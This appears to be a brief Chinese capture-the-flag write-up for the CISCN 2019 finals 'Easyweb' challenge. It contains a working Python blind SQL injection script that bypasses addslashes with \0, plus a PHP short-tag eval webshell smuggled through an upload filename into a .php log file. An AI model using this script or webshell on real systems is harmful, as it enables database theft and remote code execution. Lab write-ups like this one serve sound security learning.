[CISCN2019 总决赛 Day2 Web1]Easyweb
扫描一下,发现有robots.txt 试着访问备份文件,但是是哪一个呢,这里在源码中发现这几个页面 一个一个的试 这里审计一下源码,对单引号进行了过滤,无法闭合单引号,所以我们用\0来转义掉它的单引号。输入\0,经过“addslashes”函数会先变成\0,然后经过“str_replace”函数,会变成,这样,就把id后面的单引号给转义了sql注入代码
import requests
url = "http://59a1680b-ce34-463d-a669-50bf20d7d79c.node4.buuoj.cn:81//image.php?id=\\0&path="
payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)
破解得到的密码登录 先随便上传一下 说的是把文件名和用户名写入日志文件。但是这里日志文件为php格式,考虑写入shell。由于用户名只能为admin无法利用,考虑文件名注入。文件名进行了php/i过滤,可以使用短标签绕过:filename="<?=@eval($_POST['a']);?>" 抓包绕过 蚁剑链接 得到flag
|